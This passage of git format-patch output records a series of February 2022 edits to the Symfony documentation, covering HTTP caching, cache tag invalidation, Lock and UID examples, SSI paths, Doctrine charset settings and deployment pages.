index 57750e4b9c8..ba58e38bee7 100644
--- a/http_cache.rst
+++ b/http_cache.rst
@@ -77,7 +77,8 @@ but it is a great way to start.
 
     For details on setting up Varnish, see :doc:`/http_cache/varnish`.
 
-To enable the proxy for the ``prod`` env, enable the ``framework.http_cache`` setting:
+Use the ``framework.http_cache`` option to enable the proxy for the
+:ref:`prod environment <configuration-environments>`:
 
 .. configuration-block::
 
@@ -103,12 +104,12 @@ The kernel will immediately act as a reverse proxy: caching responses
 from your application and returning them to the client.
 
 The proxy has a sensible default configuration, but it can be
-finely tuned via `a set of options<configuration-framework-http_cache>`.
+finely tuned via `a set of options <configuration-framework-http_cache>`.
 
-When in debug mode, Symfony automatically adds an ``X-Symfony-Cache``
-header to the response. You can also use the ``trace_level`` config
-option and set it to either ``none``, ``short`` or ``full`` to
-add this information.
+When in :ref:`debug mode <debug-mode>`, Symfony automatically adds an
+``X-Symfony-Cache`` header to the response. You can also use the ``trace_level``
+config option and set it to either ``none``, ``short`` or ``full`` to add this
+information.
 
 ``short`` will add the information for the main request only.
 It's written in a concise way that makes it easy to record the

From af41b73cf39a71d4b9e022e961f3856a162dff30 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 9 Feb 2022 17:36:57 +0100
Subject: [PATCH 3021/7107] Remove a versionadded directive

---
 reference/configuration/framework.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index c6daf914edf..d9199fed06c 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -58,10 +58,6 @@ out all the application users.
 http_cache
 ~~~~~~~~~~
 
-.. versionadded:: 5.2
-
-    The ``http_cache`` option was introduced in Symfony 5.2.
-
 enabled
 .......
 

From 319e5a2aed59804d764daabb86e740cb5e708543 Mon Sep 17 00:00:00 2001
From: Kevin Bond <kevinbond@gmail.com>
Date: Thu, 10 Feb 2022 09:46:30 -0500
Subject: [PATCH 3022/7107] [Cache] document `cache:pool:invalidate-tags`
 command

---
 cache.rst | 20 ++++++++++++++++++++
 1 file changed, 20 insertions(+)

diff --git a/cache.rst b/cache.rst
index eb734db5859..cecb4dbe654 100644
--- a/cache.rst
+++ b/cache.rst
@@ -706,6 +706,26 @@ Clear all caches everywhere:
 
     $ php bin/console cache:pool:clear cache.global_clearer
 
+Clear cache by tag(s):
+
+.. versionadded:: 6.1
+
+    The ``cache:pool:invalidate-tags`` command was added in Symfony 6.1.
+
+.. code-block:: terminal
+
+    # invalidate tag1 from all taggable pools
+    $ php bin/console cache:pool:invalidate-tags tag1
+
+    # invalidate tag1 & tag2 from all taggable pools
+    $ php bin/console cache:pool:invalidate-tags tag1 tag2
+
+    # invalidate tag1 & tag2 from cache.app pool
+    $ php bin/console cache:pool:invalidate-tags tag1 tag2 --pool=cache.app
+
+    # invalidate tag1 & tag2 from cache1 & cache2 pools
+    $ php bin/console cache:pool:invalidate-tags tag1 tag2 -p cache1 -p cache2
+
 Encrypting the Cache
 --------------------
 

From 10ad5ac55b6291ed727ecb43a91c58d8168083fd Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 10 Feb 2022 22:08:48 +0100
Subject: [PATCH 3023/7107] Fix: Remove space

---
 messenger.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 798dad06636..8fb3ccd8c86 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -546,8 +546,8 @@ different messages to them. For example:
                             queue_name: low
 
                 routing:
-                    'App\Message\SmsNotification':  async_priority_low
-                    'App\Message\NewUserWelcomeEmail':  async_priority_high
+                    'App\Message\SmsNotification': async_priority_low
+                    'App\Message\NewUserWelcomeEmail': async_priority_high
 
     .. code-block:: xml
 

From 91872e4133b522ac5a7f9e600f08063f325500ad Mon Sep 17 00:00:00 2001
From: Pierre Joube <pierre.joube@gmail.com>
Date: Fri, 11 Feb 2022 16:42:52 +0100
Subject: [PATCH 3024/7107] Update uid.rst

Reference https://github.com/symfony/symfony/issues/44938#issuecomment-1007229881
---
 components/uid.rst | 6 ++----
 1 file changed, 2 insertions(+), 4 deletions(-)

diff --git a/components/uid.rst b/components/uid.rst
index 5f07b8d4dcd..e6f68f376fa 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -172,7 +172,6 @@ entity primary keys::
     namespace App\Entity;
 
     use Doctrine\ORM\Mapping as ORM;
-    use Symfony\Bridge\Doctrine\IdGenerator\UuidGenerator;
     use Symfony\Component\Uid\Uuid;
 
     class User implements UserInterface
@@ -181,7 +180,7 @@ entity primary keys::
          * @ORM\Id
          * @ORM\Column(type="uuid", unique=true)
          * @ORM\GeneratedValue(strategy="CUSTOM")
-         * @ORM\CustomIdGenerator(class=UuidGenerator::class)
+         * @ORM\CustomIdGenerator(class="doctrine.uuid_generator")
          */
         private $id;
 
@@ -345,7 +344,6 @@ entity primary keys::
     namespace App\Entity;
 
     use Doctrine\ORM\Mapping as ORM;
-    use Symfony\Bridge\Doctrine\IdGenerator\UlidGenerator;
     use Symfony\Component\Uid\Ulid;
 
     class Product
@@ -354,7 +352,7 @@ entity primary keys::
          * @ORM\Id
          * @ORM\Column(type="ulid", unique=true)
          * @ORM\GeneratedValue(strategy="CUSTOM")
-         * @ORM\CustomIdGenerator(class=UlidGenerator::class)
+         * @ORM\CustomIdGenerator(class="doctrine.ulid_generator")
          */
         private $id;
 

From 5f291498345b697d5db4c1b7d4fde6215748f837 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 11 Feb 2022 20:18:36 +0100
Subject: [PATCH 3025/7107] Minor tweak

---
 cache.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/cache.rst b/cache.rst
index cecb4dbe654..3d4151d35bf 100644
--- a/cache.rst
+++ b/cache.rst
@@ -710,7 +710,7 @@ Clear cache by tag(s):
 
 .. versionadded:: 6.1
 
-    The ``cache:pool:invalidate-tags`` command was added in Symfony 6.1.
+    The ``cache:pool:invalidate-tags`` command was introduced in Symfony 6.1.
 
 .. code-block:: terminal
 

From 9829b13dbfb36b194583f957bde0a5c4c02d85d7 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Jib=C3=A9=20Barth?= <barth.jib@gmail.com>
Date: Sat, 12 Feb 2022 19:03:35 +0100
Subject: [PATCH 3026/7107] [Lock] Fix code example for Doctrine based stores

---
 components/lock.rst | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/components/lock.rst b/components/lock.rst
index 0d00885b9c2..6660b9c9965 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -507,11 +507,11 @@ The DoctrineDbalStore saves locks in an SQL database. It is identical to PdoStor
 but requires a `Doctrine DBAL Connection`_, or a `Doctrine DBAL URL`_. This store
 does not support blocking, and expects a TTL to avoid stalled locks::
 
-    use Symfony\Component\Lock\Store\PdoStore;
+    use Symfony\Component\Lock\Store\DoctrineDbalStore;
 
-    // a PDO, a Doctrine DBAL connection or DSN for lazy connecting through PDO
+    // a Doctrine DBAL connection or DSN
     $connectionOrURL = 'mysql://myuser:mypassword@127.0.0.1/app';
-    $store = new PdoStore($connectionOrURL);
+    $store = new DoctrineDbalStore($connectionOrURL);
 
 .. note::
 
@@ -566,11 +566,11 @@ The DoctrineDbalPostgreSqlStore uses `Advisory Locks`_ provided by PostgreSQL.
 It is identical to PostgreSqlStore but requires a `Doctrine DBAL Connection`_ or
 a `Doctrine DBAL URL`_. It supports native blocking, as well as sharing locks::
 
-    use Symfony\Component\Lock\Store\PostgreSqlStore;
+    use Symfony\Component\Lock\Store\DoctrineDbalPostgreSqlStore;
 
-    // a PDO instance or DSN for lazy connecting through PDO
-    $databaseConnectionOrDSN = 'pgsql:host=localhost;port=5634;dbname=lock';
-    $store = new PostgreSqlStore($databaseConnectionOrDSN, ['db_username' => 'myuser', 'db_password' => 'mypassword']);
+    // a Doctrine Connection or DSN
+    $databaseConnectionOrDSN = 'postgresql+advisory://myuser:mypassword@127.0.0.1:5634/lock';
+    $store = new DoctrineDbalPostgreSqlStore($databaseConnectionOrDSN);
 
 In opposite to the ``DoctrineDbalStore``, the ``DoctrineDbalPostgreSqlStore`` does not need a table to
 store locks and does not expire.

From 17aa593d23a6b31ef22b92dd16b2a7888d727052 Mon Sep 17 00:00:00 2001
From: JakeFr <JakeFr@users.noreply.github.com>
Date: Sun, 13 Feb 2022 09:30:01 +0100
Subject: [PATCH 3027/7107] Update event_dispatcher.rst

AddEventAliasesPass and RegisterListenersPass constructors were removed in 6.0
---
 components/event_dispatcher.rst | 6 ++----
 1 file changed, 2 insertions(+), 4 deletions(-)

diff --git a/components/event_dispatcher.rst b/components/event_dispatcher.rst
index 04cb8422d79..0cb9eb87074 100644
--- a/components/event_dispatcher.rst
+++ b/components/event_dispatcher.rst
@@ -254,13 +254,11 @@ determine which instance is passed.
 
         Note that ``AddEventAliasesPass`` has to be processed before ``RegisterListenersPass``.
 
-    By default, the listeners pass assumes that the event dispatcher's service
+    The listeners pass assumes that the event dispatcher's service
     id is ``event_dispatcher``, that event listeners are tagged with the
     ``kernel.event_listener`` tag, that event subscribers are tagged
     with the ``kernel.event_subscriber`` tag and that the alias mapping is
-    stored as parameter ``event_dispatcher.event_aliases``. You can change these
-    default values by passing custom values to the constructors of
-    ``RegisterListenersPass`` and ``AddEventAliasesPass``.
+    stored as parameter ``event_dispatcher.event_aliases``.
 
 .. _event_dispatcher-closures-as-listeners:
 

From e3f19205edfb65be4ee0b0276ad2b8d6a7d71ea3 Mon Sep 17 00:00:00 2001
From: Gabriel Solomon <hello@gabrielsolomon.ro>
Date: Sun, 13 Feb 2022 22:24:46 +0200
Subject: [PATCH 3028/7107] Remove reference to PHP Templates in translation

---
 translation.rst | 10 ----------
 1 file changed, 10 deletions(-)

diff --git a/translation.rst b/translation.rst
index d32a85b0290..6c18cf3e6f0 100644
--- a/translation.rst
+++ b/translation.rst
@@ -437,16 +437,6 @@ The ``trans`` filter can be used to translate *variable texts* and complex expre
     Note that this only influences the current template, not any "included"
     template (in order to avoid side effects).
 
-PHP Templates
-~~~~~~~~~~~~~
-
-The translator service is accessible in PHP templates through the
-``translator`` helper:
-
-.. code-block:: html+php
-
-    <?= $view['translator']->trans('Symfony is great') ?>
-
 Forcing the Translator Locale
 -----------------------------
 

From 85470c59fdee80982eeb4760808e0376d3ecbe69 Mon Sep 17 00:00:00 2001
From: Issam KHADIRI <khadiri.issam@gmail.com>
Date: Sun, 13 Feb 2022 21:23:03 +0100
Subject: [PATCH 3029/7107] Update create_form_type_extension.rst

Hello,
I think the condition `image_url is not null` is not enough as if we create a FileType form field without the `image_property` it causes an error. Adding `image_url is defined` is necessary  because the variable `image_url` is only defined and passed to the view when `image_property` is already defined.
---
 form/create_form_type_extension.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/form/create_form_type_extension.rst b/form/create_form_type_extension.rst
index 9bb0abc2d8e..9e0066d7be8 100644
--- a/form/create_form_type_extension.rst
+++ b/form/create_form_type_extension.rst
@@ -192,7 +192,7 @@ Specifically, you need to override the ``file_widget`` block:
 
     {% block file_widget %}
         {{ block('form_widget') }}
-        {% if image_url is not null %}
+        {% if image_url is defined and image_url is not null %}
             <img src="{{ asset(image_url) }}"/>
         {% endif %}
     {% endblock %}

From 76013cac4e3b7e7feb69975a50cf638c6341138b Mon Sep 17 00:00:00 2001
From: Tugdual Saunier <tugdual.saunier@gmail.com>
Date: Tue, 15 Feb 2022 15:41:51 -0500
Subject: [PATCH 3030/7107] Use `path` instead of `url` in SSI documentation

By using `url` SSI tags will include the host which is likely to not work as, unlike ESI, SSI is meant to be used at the webserver level which most of the time only handles SSI as paths.
---
 http_cache/ssi.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/http_cache/ssi.rst b/http_cache/ssi.rst
index c206a730812..79fbcf93162 100644
--- a/http_cache/ssi.rst
+++ b/http_cache/ssi.rst
@@ -22,7 +22,7 @@ The SSI instructions are done via HTML comments:
             <!-- ... some content -->
 
             <!-- Embed the content of another page here -->
-            <!--#include virtual="http://..." -->
+            <!--#include virtual="/..." -->
 
             <!-- ... more content -->
         </body>
@@ -117,8 +117,8 @@ The profile index page has not public caching, but the GDPR block has
     {# you can use a controller reference #}
     {{ render_ssi(controller('App\\Controller\\ProfileController::gdpr')) }}
 
-    {# ... or a URL #}
-    {{ render_ssi(url('profile_gdpr')) }}
+    {# ... or a path #}
+    {{ render_ssi(path('profile_gdpr')) }}
 
 The ``render_ssi`` twig helper will generate something like:
 

From 4f5845bde259ad62c3347e3f3c07f05c9e785b87 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Gr=C3=A9goire=20Paris?= <postmaster@greg0ire.fr>
Date: Wed, 16 Feb 2022 10:31:50 +0100
Subject: [PATCH 3031/7107] Recommend a better charset for MySQL

UTF8 is meant to be used when using PostgreSQL, and the example is
mainly about MySQL.

In the case of MySQL, utf8 is a deprecated charset and should not be
used.
---
 reference/configuration/doctrine.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/configuration/doctrine.rst b/reference/configuration/doctrine.rst
index 3d2435e73a0..fc85ef8f341 100644
--- a/reference/configuration/doctrine.rst
+++ b/reference/configuration/doctrine.rst
@@ -62,7 +62,7 @@ The following block shows all possible configuration keys:
                 unix_socket:          /tmp/mysql.sock
                 # the DBAL wrapperClass option
                 wrapper_class:        App\DBAL\MyConnectionWrapper
-                charset:              UTF8
+                charset:              utf8mb4
                 logging:              '%kernel.debug%'
                 platform_service:     App\DBAL\MyDatabasePlatformService
                 server_version:       '5.7'
@@ -96,7 +96,7 @@ The following block shows all possible configuration keys:
                     memory="true"
                     unix-socket="/tmp/mysql.sock"
                     wrapper-class="App\DBAL\MyConnectionWrapper"
-                    charset="UTF8"
+                    charset="utf8mb4"
                     logging="%kernel.debug%"
                     platform-service="App\DBAL\MyDatabasePlatformService"
                     server-version="5.7">

From bcbf1f3a19278dae881cfd084c89554ccd3260b9 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=B4me=20Vasseur?= <jerome.vasseur@thetribe.io>
Date: Wed, 16 Feb 2022 17:02:57 +0100
Subject: [PATCH 3032/7107] Add documentation for the env DI expresion function

---
 service_container/expression_language.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/service_container/expression_language.rst b/service_container/expression_language.rst
index 972d7286c88..09443b05c08 100644
--- a/service_container/expression_language.rst
+++ b/service_container/expression_language.rst
@@ -73,12 +73,14 @@ to another service: ``App\Mailer``. One way to do this is with an expression:
 
 To learn more about the expression language syntax, see :doc:`/components/expression_language/syntax`.
 
-In this context, you have access to 2 functions:
+In this context, you have access to 3 functions:
 
 ``service``
     Returns a given service (see the example above).
 ``parameter``
     Returns a specific parameter value (syntax is like ``service``).
+``env``
+    Returns the value of an env variable.
 
 You also have access to the :class:`Symfony\\Component\\DependencyInjection\\Container`
 via a ``container`` variable. Here's another example:

From eaa7f027e53988a3153ece0a4142f9d65ceb1188 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Thu, 17 Feb 2022 18:12:48 +0100
Subject: [PATCH 3033/7107] Update route from annotation to attribute

---
 notifier.rst | 8 ++------
 1 file changed, 2 insertions(+), 6 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 1fb68b6416c..25a2ee442fb 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -479,9 +479,7 @@ To send a notification, autowire the
 
     class InvoiceController extends AbstractController
     {
-        /**
-         * @Route("/invoice/create")
-         */
+        #[Route('/invoice/create')]
         public function create(NotifierInterface $notifier)
         {
             // ...
@@ -613,9 +611,7 @@ sent using the Slack transport::
     // ...
     class InvoiceController extends AbstractController
     {
-        /**
-         * @Route("/invoice/create")
-         */
+        #[Route('/invoice/create')]
         public function invoice(NotifierInterface $notifier)
         {
             // ...

From 9dc01ff28ad215d3f1cdbb9ae4586568877e4cd9 Mon Sep 17 00:00:00 2001
From: Louis-Marie GABORIT <lm.gabo@gmail.com>
Date: Thu, 17 Feb 2022 19:12:49 +0100
Subject: [PATCH 3034/7107] firewall option replace with allowedHosts

---
 frontend/encore/virtual-machine.rst | 9 ++++-----
 1 file changed, 4 insertions(+), 5 deletions(-)

diff --git a/frontend/encore/virtual-machine.rst b/frontend/encore/virtual-machine.rst
index 23010b9f169..04f3c16b1f1 100644
--- a/frontend/encore/virtual-machine.rst
+++ b/frontend/encore/virtual-machine.rst
@@ -96,7 +96,7 @@ Fix "Invalid Host header" Issue
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Webpack will respond ``Invalid Host header`` when trying to access files from
-the dev-server. To fix this, set the ``firewall`` option:
+the dev-server. To fix this, set the ``allowedHosts`` option:
 
 .. code-block:: javascript
 
@@ -107,16 +107,15 @@ the dev-server. To fix this, set the ``firewall`` option:
         // ...
 
         .configureDevServerOptions(options => {
-            options.firewall = false;
+            options.allowedHosts = all;
         })
 
 .. caution::
 
-    Beware that `it's not recommended to disable the firewall`_ in general, but
-    here it's required to solve the issue when using Encore in a virtual machine.
+    Beware that `it's not recommended to set allowedHosts to all`_. Read the dedicated doc to select the value for your environment.
 
 .. _`VirtualBox`: https://www.virtualbox.org/
 .. _`VMWare`: https://www.vmware.com
 .. _`NFS`: https://en.wikipedia.org/wiki/Network_File_System
 .. _`polling`: https://webpack.js.org/configuration/watch/#watchoptionspoll
-.. _`it's not recommended to disable the firewall`: https://webpack.js.org/configuration/dev-server/#devserverdisablehostcheck
+.. _`it's not recommended to set allowedHosts to all`: https://webpack.js.org/configuration/dev-server/#devserverallowedhosts

From 96df4160fc11dbe003eebb48a7dfbb6a45d4e538 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Fri, 18 Feb 2022 14:05:02 +0100
Subject: [PATCH 3035/7107] Update _ux-libraries.rst.inc

---
 frontend/_ux-libraries.rst.inc | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/frontend/_ux-libraries.rst.inc b/frontend/_ux-libraries.rst.inc
index 3355d4926e4..c88b6b623ef 100644
--- a/frontend/_ux-libraries.rst.inc
+++ b/frontend/_ux-libraries.rst.inc
@@ -1,18 +1,18 @@
 * `ux-turbo`_: Integration with `Turbo Drive`_ for a single-page-app experience
 * `ux-live-component`_: Build Dynamic Interfaces with Zero JavaScript
 * `ux-twig-component`_: Build Twig Components Backed by a PHP Class
+* `ux-swup`_: Integration with Swup
 * `ux-chartjs`_: Easy charts with Chart.js
 * `ux-lazy-image`_: Optimize Image Loading with BlurHash
 * `ux-cropperjs`_: Form Type and tools for cropping images
 * `ux-dropzone`_: Form type for stylized "drop zone" for file uploads
-* `ux-swup`_: Integration with Swup
 
 .. _`ux-turbo`: https://symfony.com/bundles/ux-turbo/current/index.html
 .. _`ux-live-component`: https://symfony.com/bundles/ux-live-component/current/index.html
 .. _`ux-twig-component`: https://symfony.com/bundles/ux-twig-component/current/index.html
+.. _`ux-swup`: https://symfony.com/bundles/ux-swup/current/index.html
 .. _`ux-chartjs`: https://symfony.com/bundles/ux-chartjs/current/index.html
 .. _`ux-lazy-image`: https://symfony.com/bundles/ux-lazy-image/current/index.html
 .. _`ux-cropperjs`: https://symfony.com/bundles/ux-cropperjs/current/index.html
 .. _`ux-dropzone`: https://symfony.com/bundles/ux-dropzone/current/index.html
-.. _`ux-swup`: https://symfony.com/bundles/ux-swup/current/index.html
 .. _`Turbo Drive`: https://turbo.hotwired.dev/

From 69776b15c67e8719cd03dedd8e374ecaf6b44b74 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Fri, 18 Feb 2022 16:34:23 +0100
Subject: [PATCH 3036/7107] remove reference to not existing YAML dumper flag

---
 components/yaml.rst | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/components/yaml.rst b/components/yaml.rst
index 763051ad6d1..ba6c0849db2 100644
--- a/components/yaml.rst
+++ b/components/yaml.rst
@@ -341,15 +341,14 @@ syntax to parse them as proper PHP constants::
 Parsing and Dumping of Binary Data
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-You can dump binary data by using the ``DUMP_BASE64_BINARY_DATA`` flag::
+Non UTF-8 encoded strings are dumped as base64 encoded data::
 
     $imageContents = file_get_contents(__DIR__.'/images/logo.png');
 
-    $dumped = Yaml::dump(['logo' => $imageContents], 2, 4, Yaml::DUMP_BASE64_BINARY_DATA);
+    $dumped = Yaml::dump(['logo' => $imageContents]);
     // logo: !!binary iVBORw0KGgoAAAANSUhEUgAAA6oAAADqCAY...
 
-Binary data is automatically parsed if they include the ``!!binary`` YAML tag
-(there's no need to pass any flag to the Yaml parser)::
+Binary data is automatically parsed if they include the ``!!binary`` YAML tag::
 
     $dumped = 'logo: !!binary iVBORw0KGgoAAAANSUhEUgAAA6oAAADqCAY...';
     $parsed = Yaml::parse($dumped);

From ac13f6e4e5b4397152e9d072861f10e9ab916a66 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 18 Feb 2022 16:50:04 +0100
Subject: [PATCH 3037/7107] Minor tweak

---
 http_cache/ssi.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/http_cache/ssi.rst b/http_cache/ssi.rst
index 79fbcf93162..38f77027acd 100644
--- a/http_cache/ssi.rst
+++ b/http_cache/ssi.rst
@@ -117,7 +117,7 @@ The profile index page has not public caching, but the GDPR block has
     {# you can use a controller reference #}
     {{ render_ssi(controller('App\\Controller\\ProfileController::gdpr')) }}
 
-    {# ... or a path #}
+    {# ... or a path (in server's SSI configuration is common to use relative paths instead of absolute URLs) #}
     {{ render_ssi(path('profile_gdpr')) }}
 
 The ``render_ssi`` twig helper will generate something like:

From 20367902b88bf1ba168c6f7ce051f82df94a0e18 Mon Sep 17 00:00:00 2001
From: AymDev <aymericmayeux@gmail.com>
Date: Thu, 17 Feb 2022 15:20:32 +0100
Subject: [PATCH 3038/7107] Fix broken link to DoctrineReceiver in Messenger

Updates the FQCN for DoctrineReceiver as the class moved in a Bridge namespace after Symfony 6.0
---
 messenger/custom-transport.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger/custom-transport.rst b/messenger/custom-transport.rst
index ae15b15bbeb..e496fcf6263 100644
--- a/messenger/custom-transport.rst
+++ b/messenger/custom-transport.rst
@@ -127,7 +127,7 @@ Here is a simplified example of a database transport::
 The implementation above is not runnable code but illustrates how a
 :class:`Symfony\\Component\\Messenger\\Transport\\TransportInterface` could
 be implemented. For real implementations see :class:`Symfony\\Component\\Messenger\\Transport\\InMemoryTransport`
-and :class:`Symfony\\Component\\Messenger\\Transport\\Doctrine\\DoctrineReceiver`.
+and :class:`Symfony\\Component\\Messenger\\Bridge\\Doctrine\\Transport\\DoctrineReceiver`.
 
 Register your Factory
 ---------------------

From 9a13511af8f439a7116914414ec9b5da5d71cfb1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 18 Feb 2022 17:08:08 +0100
Subject: [PATCH 3039/7107] Minor tweak

---
 frontend/encore/virtual-machine.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/frontend/encore/virtual-machine.rst b/frontend/encore/virtual-machine.rst
index 04f3c16b1f1..793a74e3d40 100644
--- a/frontend/encore/virtual-machine.rst
+++ b/frontend/encore/virtual-machine.rst
@@ -112,7 +112,8 @@ the dev-server. To fix this, set the ``allowedHosts`` option:
 
 .. caution::
 
-    Beware that `it's not recommended to set allowedHosts to all`_. Read the dedicated doc to select the value for your environment.
+    Beware that `it's not recommended to set allowedHosts to all`_ in general, but
+    here it's required to solve the issue when using Encore in a virtual machine.
 
 .. _`VirtualBox`: https://www.virtualbox.org/
 .. _`VMWare`: https://www.vmware.com

From de6814751aaa30aad1b1badea4dce39bfd0d753f Mon Sep 17 00:00:00 2001
From: runephilosof-abtion
 <57357936+runephilosof-abtion@users.noreply.github.com>
Date: Tue, 8 Feb 2022 15:24:32 +0100
Subject: [PATCH 3040/7107] [Config] Suggest avoiding new environments

---
 configuration.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/configuration.rst b/configuration.rst
index f76a2aa09aa..3d93ba7d57d 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -464,6 +464,10 @@ going to production:
     It's common for environments to be similar to each other, so you can
     use `symbolic links`_ between ``config/packages/<environment-name>/``
     directories to reuse the same configuration.
+    
+    There are benefits to separating configuration from code. So try to avoid
+    creating new environments and instead set environment variables.
+    This way it is easy to add another environment for staging/qa/review applications.
 
 .. _config-env-vars:
 

From 70cab868acd611dbe6637006eed77d90be647136 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 18 Feb 2022 17:43:46 +0100
Subject: [PATCH 3041/7107] Reword

---
 configuration.rst | 10 ++++++----
 1 file changed, 6 insertions(+), 4 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index 3d93ba7d57d..358fb903de2 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -464,10 +464,12 @@ going to production:
     It's common for environments to be similar to each other, so you can
     use `symbolic links`_ between ``config/packages/<environment-name>/``
     directories to reuse the same configuration.
-    
-    There are benefits to separating configuration from code. So try to avoid
-    creating new environments and instead set environment variables.
-    This way it is easy to add another environment for staging/qa/review applications.
+
+Instead of creating new environments, you can use environment variables as
+explained in the following section. This way you can use the same application
+and environment (e.g. ``prod``) but change its behavior thanks to the
+configuration based on environment variables (e.g. to run the application in
+different scenarios: staging, quality assurance, client review, etc.)
 
 .. _config-env-vars:
 

From e66b990a14f58fdeef1ed66bd6f744f84ae3a9ac Mon Sep 17 00:00:00 2001
From: Maxime Doutreluingne <maxime.doutreluingne@gmail.com>
Date: Sat, 19 Feb 2022 22:11:24 +0100
Subject: [PATCH 3042/7107] Update route from annotation to attribute

---
 mailer.rst | 4 +---
 1 file changed, 1 insertion(+), 3 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 8a27f222d4d..ef99bb86138 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -345,9 +345,7 @@ and create an :class:`Symfony\\Component\\Mime\\Email` object::
 
     class MailerController extends AbstractController
     {
-        /**
-         * @Route("/email")
-         */
+        #[Route('/email')]
         public function sendEmail(MailerInterface $mailer): Response
         {
             $email = (new Email())

From 2d6fa201748355e1ec1b9cb204bbb33c7fd61d25 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Sun, 20 Feb 2022 11:25:41 +0100
Subject: [PATCH 3043/7107] Update README.markdown

---
 README.markdown | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/README.markdown b/README.markdown
index 2139c1599ac..0544eb9db19 100644
--- a/README.markdown
+++ b/README.markdown
@@ -23,7 +23,7 @@ We love contributors! For more information on how you can contribute, please rea
 the [Symfony Docs Contributing Guide](https://symfony.com/doc/current/contributing/documentation/overview.html)
 
 **Important**: use `4.4` branch as the base of your pull requests, unless you are
-documenting a feature that was introduced *after* Symfony 4.4 (e.g. in Symfony 5.2).
+documenting a feature that was introduced *after* Symfony 4.4 (e.g. in Symfony 5.4).
 
 Build Documentation Locally
 ---------------------------

From 1632524ecc06b20b19590640e3e545225f5ec2b2 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Mon, 21 Feb 2022 15:30:15 +0100
Subject: [PATCH 3044/7107] Remove usage of SymfonyCloud in favor of
 Platform.sh

---
 _build/redirection_map        |  5 -----
 _build/spelling_word_list.txt |  1 -
 deployment.rst                | 18 +++---------------
 deployment/azure-website.rst  | 12 ------------
 deployment/fortrabbit.rst     | 12 ------------
 deployment/heroku.rst         | 12 ------------
 deployment/platformsh.rst     | 12 ------------
 7 files changed, 3 insertions(+), 69 deletions(-)
 delete mode 100644 deployment/azure-website.rst
 delete mode 100644 deployment/fortrabbit.rst
 delete mode 100644 deployment/heroku.rst
 delete mode 100644 deployment/platformsh.rst

diff --git a/_build/redirection_map b/_build/redirection_map
index bd708c379d4..f0b726e546f 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -132,11 +132,6 @@
 /cookbook/controller/upload_file /controller/upload_file
 /cookbook/debugging /
 /debug/debugging /
-/cookbook/deployment/azure-website /cookbook/azure-website
-/cookbook/deployment/fortrabbit /deployment/fortrabbit
-/cookbook/deployment/heroku /deployment/heroku
-/cookbook/deployment/index /deployment
-/cookbook/deployment/platformsh /deployment/platformsh
 /cookbook/deployment/tools /deployment/tools
 /cookbook/doctrine/common_extensions /doctrine/common_extensions
 /cookbook/doctrine/console /doctrine
diff --git a/_build/spelling_word_list.txt b/_build/spelling_word_list.txt
index 3b1d630fa11..70240ceb6d1 100644
--- a/_build/spelling_word_list.txt
+++ b/_build/spelling_word_list.txt
@@ -113,7 +113,6 @@ filesystem
 filesystems
 formatter
 formatters
-fortrabbit
 frontend
 getter
 getters
diff --git a/deployment.rst b/deployment.rst
index 2e0f222cae1..47d8c4ef418 100644
--- a/deployment.rst
+++ b/deployment.rst
@@ -64,15 +64,8 @@ Using Platforms as a Service
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Using a Platform as a Service (PaaS) can be a great way to deploy your Symfony
-app quickly. There are many PaaS - below are a few that work well with Symfony:
-
-* `Symfony Cloud`_
-* `Heroku`_
-* `Platform.sh`_
